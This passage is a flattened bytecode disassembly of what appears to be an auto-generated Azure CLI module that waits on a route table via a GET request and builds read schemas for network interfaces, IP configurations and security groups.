AAZResourceGroupNameArg LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR resource_group LOAD_GLOBAL AAZStrArg LOAD_CONST '-n' LOAD_CONST '--name' BUILD_LIST LOAD_CONST 'Name of the route table.' LOAD_CONST True LOAD_CONST 'name' LOAD_CONST ('options', 'help', 'required', 'id_part') CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR name LOAD_GLOBAL AAZStrArg LOAD_CONST '--expand' BUILD_LIST LOAD_CONST 'Expands referenced resources. Default value is None.' LOAD_CONST ('options', 'help') CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR expand LOAD_FAST cls LOAD_ATTR _args_schema RETURN_VALUE LOAD_FAST self LOAD_METHOD pre_operations CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR RouteTablesGet LOAD_FAST self LOAD_ATTR ctx LOAD_CONST ('ctx',) CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD post_operations CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR deserialize_output LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR vars LOAD_ATTR instance LOAD_CONST False LOAD_CONST ('client_flatten',) CALL_FUNCTION STORE_FAST result LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Wait.RouteTablesGet' STORE_NAME __qualname__ LOAD_CONST 'MgmtClient' STORE_NAME CLIENT_TYPE LOAD_CONST <code object __call__ at 0x7faa75aac420, file "f.py", line 69> LOAD_CONST 'Wait.RouteTablesGet.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_NAME property LOAD_CONST <code object url at 0x7faa75aac660, file "f.py", line 77> LOAD_CONST 'Wait.RouteTablesGet.url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url LOAD_NAME property LOAD_CONST <code object method at 0x7faa75aacc00, file "f.py", line 84> LOAD_CONST 'Wait.RouteTablesGet.method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME method LOAD_NAME property LOAD_CONST <code object error_format at 0x7faa75aacb70, file "f.py", line 88> LOAD_CONST 'Wait.RouteTablesGet.error_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME error_format LOAD_NAME property LOAD_CONST <code object url_parameters at 0x7faa75aac780, file "f.py", line 92> LOAD_CONST 'Wait.RouteTablesGet.url_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url_parameters LOAD_NAME property LOAD_CONST <code object query_parameters at 0x7faa75aac930, file "f.py", line 113> LOAD_CONST 'Wait.RouteTablesGet.query_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME query_parameters LOAD_NAME property LOAD_CONST <code object header_parameters at 0x7faa75aac5d0, file "f.py", line 128> LOAD_CONST 'Wait.RouteTablesGet.header_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME header_parameters LOAD_CONST <code object on_200 at 0x7faa75aac6f0, file "f.py", line 138> LOAD_CONST 'Wait.RouteTablesGet.on_200' MAKE_FUNCTION STORE_NAME on_200 LOAD_CONST None STORE_NAME _schema_on_200 LOAD_NAME classmethod LOAD_CONST <code object _build_schema_on_200 at 0x7faa75aac9c0, file "f.py", line 144> LOAD_CONST 'Wait.RouteTablesGet._build_schema_on_200' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_on_200 LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD make_request CALL_METHOD STORE_FAST request LOAD_FAST self LOAD_ATTR client LOAD_ATTR send_request BUILD_TUPLE LOAD_FAST request LOAD_CONST False LOAD_CONST ('request', 'stream') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST session LOAD_FAST session LOAD_ATTR http_response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD on_200 LOAD_FAST session CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD on_error LOAD_FAST session LOAD_ATTR http_response CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR client LOAD_ATTR format_url LOAD_CONST ('/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeTables/{routeTableName}',) LOAD_FAST self LOAD_ATTR url_parameters CALL_FUNCTION RETURN_VALUE LOAD_CONST 'GET' RETURN_VALUE LOAD_CONST 'MgmtErrorFormat' RETURN_VALUE LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'resourceGroupName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR resource_group LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'routeTableName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR name LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'subscriptionId' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR subscription_id LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD serialize_query_param LOAD_CONST '$expand' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR expand CALL_METHOD LOAD_FAST self LOAD_ATTR serialize_query_param LOAD_CONST 'api-version' LOAD_CONST '2015-06-15' LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD serialize_header_param LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD deserialize_http_content LOAD_FAST session CALL_METHOD STORE_FAST data LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR set_var LOAD_CONST 'instance' LOAD_FAST data LOAD_FAST self LOAD_ATTR _build_schema_on_200 LOAD_CONST ('schema_builder',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_on_200 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_on_200 RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST cls STORE_ATTR _schema_on_200 LOAD_GLOBAL _WaitHelper LOAD_METHOD _build_schema_route_table_read LOAD_FAST cls LOAD_ATTR _schema_on_200 CALL_METHOD POP_TOP LOAD_FAST cls LOAD_ATTR _schema_on_200 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_WaitHelper' STORE_NAME __qualname__ LOAD_CONST 'Helper class for Wait' STORE_NAME __doc__ LOAD_CONST None STORE_NAME _schema_ip_configuration_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_ip_configuration_read at 0x7faa75aac810, file "f.py", line 160> LOAD_CONST '_WaitHelper._build_schema_ip_configuration_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_ip_configuration_read LOAD_CONST None STORE_NAME _schema_network_interface_ip_configuration_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_network_interface_ip_configuration_read at 0x7faa75aaced0, file "f.py", line 205> LOAD_CONST '_WaitHelper._build_schema_network_interface_ip_configuration_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_network_interface_ip_configuration_read LOAD_CONST None STORE_NAME _schema_network_security_group_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_network_security_group_read at 0x7faa75aac8a0, file "f.py", line 355> LOAD_CONST '_WaitHelper._build_schema_network_security_group_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_network_security_group_read LOAD_CONST None STORE_NAME _schema_public_ip_address_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_public_ip_address_read at 0x7faa75aac300, file "f.py", line 523> LOAD_CONST '_WaitHelper._build_schema_public_ip_address_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_public_ip_address_read LOAD_CONST None STORE_NAME _schema_route_table_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_route_table_read at 0x7faa75aac390, file "f.py", line 600> LOAD_CONST '_WaitHelper._build_schema_route_table_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_route_table_read LOAD_CONST None STORE_NAME _schema_security_rule_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_security_rule_read at 0x7fab421019c0, file "f.py", line 679> LOAD_CONST '_WaitHelper._build_schema_security_rule_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_security_rule_read LOAD_CONST None STORE_NAME _schema_sub_resource_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_sub_resource_read at 0x7fab42101c00, file "f.py", line 735> LOAD_CONST '_WaitHelper._build_schema_sub_resource_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_sub_resource_read LOAD_CONST None STORE_NAME _schema_subnet_read LOAD_NAME classmethod LOAD_CONST <code object _build_schema_subnet_read at 0x7fab42101ae0, file "f.py", line 750> LOAD_CONST '_WaitHelper._build_schema_subnet_read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_subnet_read LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_ip_configuration_read STORE_FAST _schema_ip_configuration_read LOAD_FAST _schema_ip_configuration_read STORE_FAST ip_configuration_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST ip_configuration_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST ip_configuration_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST ip_configuration_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST ip_configuration_read STORE_ATTR properties LOAD_FAST _schema_ip_configuration_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_address LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAllocationMethod' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_allocation_method LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZObjectType LOAD_CONST 'publicIPAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR public_ip_address LOAD_FAST cls LOAD_METHOD _build_schema_public_ip_address_read LOAD_FAST properties LOAD_ATTR public_ip_address CALL_METHOD POP_TOP LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST properties STORE_ATTR subnet LOAD_FAST cls LOAD_METHOD _build_schema_subnet_read LOAD_FAST properties LOAD_ATTR subnet CALL_METHOD POP_TOP LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_ip_configuration_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_network_interface_ip_configuration_read STORE_FAST _schema_network_interface_ip_configuration_read LOAD_FAST _schema_network_interface_ip_configuration_read STORE_FAST network_interface_ip_configuration_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_interface_ip_configuration_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_interface_ip_configuration_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_interface_ip_configuration_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST network_interface_ip_configuration_read STORE_ATTR properties LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZListType LOAD_CONST 'loadBalancerBackendAddressPools' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR load_balancer_backend_address_pools LOAD_GLOBAL AAZListType LOAD_CONST 'loadBalancerInboundNatRules' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR load_balancer_inbound_nat_rules LOAD_GLOBAL AAZBoolType CALL_FUNCTION LOAD_FAST properties STORE_ATTR primary LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_address LOAD_GLOBAL AAZStrType LOAD_CONST 'privateIPAllocationMethod' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR private_ip_allocation_method LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZObjectType LOAD_CONST 'publicIPAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR public_ip_address LOAD_FAST cls LOAD_METHOD _build_schema_public_ip_address_read LOAD_FAST properties LOAD_ATTR public_ip_address CALL_METHOD POP_TOP LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST properties STORE_ATTR subnet LOAD_FAST cls LOAD_METHOD _build_schema_subnet_read LOAD_FAST properties LOAD_ATTR subnet CALL_METHOD POP_TOP LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_backend_address_pools STORE_FAST load_balancer_backend_address_pools LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST load_balancer_backend_address_pools STORE_ATTR Element LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_backend_address_pools LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_backend_address_pools LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZListType LOAD_CONST 'backendIPConfigurations' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR backend_ip_configurations LOAD_GLOBAL AAZListType LOAD_CONST 'loadBalancingRules' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR load_balancing_rules LOAD_GLOBAL AAZObjectType LOAD_CONST 'outboundNatRule' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR outbound_nat_rule LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR outbound_nat_rule CALL_METHOD POP_TOP LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_backend_address_pools LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR backend_ip_configurations STORE_FAST backend_ip_configurations LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST backend_ip_configurations STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_network_interface_ip_configuration_read LOAD_FAST backend_ip_configurations LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_backend_address_pools LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR load_balancing_rules STORE_FAST load_balancing_rules LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST load_balancing_rules STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST load_balancing_rules LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_inbound_nat_rules STORE_FAST load_balancer_inbound_nat_rules LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST load_balancer_inbound_nat_rules STORE_ATTR Element LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_inbound_nat_rules LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_ATTR load_balancer_inbound_nat_rules LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZObjectType LOAD_CONST 'backendIPConfiguration' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR backend_ip_configuration LOAD_FAST cls LOAD_METHOD _build_schema_network_interface_ip_configuration_read LOAD_FAST properties LOAD_ATTR backend_ip_configuration CALL_METHOD POP_TOP LOAD_GLOBAL AAZIntType LOAD_CONST 'backendPort' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR backend_port LOAD_GLOBAL AAZBoolType LOAD_CONST 'enableFloatingIP' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_floating_ip LOAD_GLOBAL AAZObjectType LOAD_CONST 'frontendIPConfiguration' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR frontend_ip_configuration LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR frontend_ip_configuration CALL_METHOD POP_TOP LOAD_GLOBAL AAZIntType LOAD_CONST 'frontendPort' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR frontend_port LOAD_GLOBAL AAZIntType LOAD_CONST 'idleTimeoutInMinutes' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR idle_timeout_in_minutes LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST properties STORE_ATTR protocol LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_network_interface_ip_configuration_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_network_security_group_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_network_security_group_read STORE_FAST _schema_network_security_group_read LOAD_FAST _schema_network_security_group_read STORE_FAST network_security_group_read LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR location LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR properties LOAD_GLOBAL AAZDictType CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR tags LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST network_security_group_read STORE_ATTR type LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZListType LOAD_CONST 'defaultSecurityRules' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR default_security_rules LOAD_GLOBAL AAZListType LOAD_CONST 'networkInterfaces' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR network_interfaces LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'resourceGuid' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR resource_guid LOAD_GLOBAL AAZListType LOAD_CONST 'securityRules' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR security_rules LOAD_GLOBAL AAZListType CALL_FUNCTION LOAD_FAST properties STORE_ATTR subnets LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR default_security_rules STORE_FAST default_security_rules LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST default_security_rules STORE_ATTR Element LOAD_FAST cls LOAD_METHOD _build_schema_security_rule_read LOAD_FAST default_security_rules LOAD_ATTR Element CALL_METHOD POP_TOP LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces STORE_FAST network_interfaces LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST network_interfaces STORE_ATTR Element LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR location LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_GLOBAL AAZDictType CALL_FUNCTION LOAD_FAST _element STORE_ATTR tags LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR type LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZObjectType LOAD_CONST 'dnsSettings' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR dns_settings LOAD_GLOBAL AAZBoolType LOAD_CONST 'enableIPForwarding' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR enable_ip_forwarding LOAD_GLOBAL AAZListType LOAD_CONST 'ipConfigurations' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR ip_configurations LOAD_GLOBAL AAZStrType LOAD_CONST 'macAddress' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR mac_address LOAD_GLOBAL AAZObjectType LOAD_CONST 'networkSecurityGroup' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR network_security_group LOAD_FAST cls LOAD_METHOD _build_schema_network_security_group_read LOAD_FAST properties LOAD_ATTR network_security_group CALL_METHOD POP_TOP LOAD_GLOBAL AAZBoolType CALL_FUNCTION LOAD_FAST properties STORE_ATTR primary LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'resourceGuid' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR resource_guid LOAD_GLOBAL AAZObjectType LOAD_CONST 'virtualMachine' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST properties STORE_ATTR virtual_machine LOAD_FAST cls LOAD_METHOD _build_schema_sub_resource_read LOAD_FAST properties LOAD_ATTR virtual_machine CALL_METHOD POP_TOP LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties LOAD_ATTR network_interfaces LOAD_ATTR Element LOAD_ATTR properties LOAD_ATTR dns_settings STORE_FAST dns_settings LOAD_GLOBAL AAZListType LOAD_CONST 'appliedDnsServers' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR applied_dns_servers LOAD_GLOBAL AAZListType LOAD_CONST 'dnsServers' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR dns_servers LOAD_GLOBAL AAZStrType LOAD_CONST 'internalDnsNameLabel' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR internal_dns_name_label LOAD_GLOBAL AAZStrType LOAD_CONST 'internalFqdn' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST dns_settings STORE_ATTR internal_fqdn LOAD_FAST _schema_network_security_group_read LOAD_ATTR properties 